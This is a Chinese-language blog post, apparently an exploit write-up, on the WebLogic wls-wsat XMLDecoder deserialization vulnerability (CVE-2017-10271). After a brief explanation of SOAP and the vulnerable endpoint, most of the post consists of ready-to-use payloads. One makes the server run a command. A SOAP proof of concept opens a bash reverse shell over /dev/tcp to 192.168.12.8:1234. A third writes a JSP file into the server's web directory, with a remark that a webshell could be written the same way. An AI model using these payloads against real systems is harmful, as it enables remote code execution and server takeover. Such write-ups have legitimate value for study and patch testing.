当前位置：首页 > news >正文

CVE-2017-10271

news 来源：原创 2025/5/20 12:55:39

Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞

漏洞原理:

反序列化机制: weblogic sercer使用的是java的XMLDecoder类来解析和范系列化xml数据

xml Decoder是一个强大的工具,可以将xml数据转换为java对象,然而如果反序列化的数据不受信任,可能导致安全问题

漏洞触发点

weblogic server的wls-wsat组件提供了一个web服务点(/wls-wsat/CoordiatorPortType),用于处理SOAP请求

(SOAP是一种基于XML的协议),定义了如何在网络上传输信息它是基于XML,因此消息是文本格式,易于阅读和调试 SOAP通常于http、HTTPS等协议结合使用,但是也能于SMTP等其他的协议一起使用

一个典型的SOAP请求包括以下部分:

Envelope(信封) 根元素,标识这是一个SOAP信息,包含了Header和BOdy
Header(头部) 可选部分,用于传递附加的信息(如认真信息,事物ID等)
Body(主体) 必需部分,包含实际的数据请求

SOAP响应的结构:包含Envelope、Header和Body

该端点使用了XMLDecoder来处理传入的XML数据

恶意XML构造

<java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>touch /tmp/pwned</string></void>
        </array>
        <void method="start"/>
    </object>
</java>

#该XML文件会通过XMLDecoder反序列化为一个ProcessBuilder对象,并且执行系统命令例如:touch /tmp/pwned

漏洞利用过程:

攻击者构造恶意的XML文件,嵌入到http的请求中
将恶意的XML文件作为SOAP请求发送到weblogic Server的wls-wsat端点
Weblogic Server使用XMl Decoder反序列化恶意的XML文件
反序列化过程中,恶意代码被执行,导致远程代码执行

如下所示:

我们需要使用bp抓取数据包,然后构造恶意的XML文件即可!

我们需要将conten-type修改成text/xml

测试的poc为:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.12.8/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

#这里使用dev/tcp;反弹shell 192.168.12.8/1234端口
#我们只需要用kali监听1234端口即可

还给到了写入文件的poc

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>  

#写入了test的内容,我们也可以写入websehl